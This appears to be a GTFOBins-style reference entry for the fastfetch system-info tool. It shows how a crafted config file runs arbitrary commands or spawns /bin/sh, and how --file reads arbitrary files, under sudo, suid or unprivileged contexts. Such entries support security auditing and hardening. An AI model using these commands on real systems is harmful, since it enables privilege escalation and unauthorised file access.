fastfetch

Command Execution

Context: sudo, suid, unprivileged

echo '{"modules":[{"type":"command","key":"x","text":"exec /path/to/command"}]}' >/path/to/temp-file.jsonc
fastfetch -c /path/to/temp-file.jsonc

File Read

Context: sudo, suid, unprivileged

fastfetch --file /path/to/input-file

Shell

Context: sudo, suid, unprivileged

echo '{"modules":[{"type":"command","key":"x","text":"exec /bin/sh 1>&0 2>&0"}]}' >/path/to/temp-file.jsonc
fastfetch -c /path/to/temp-file.jsonc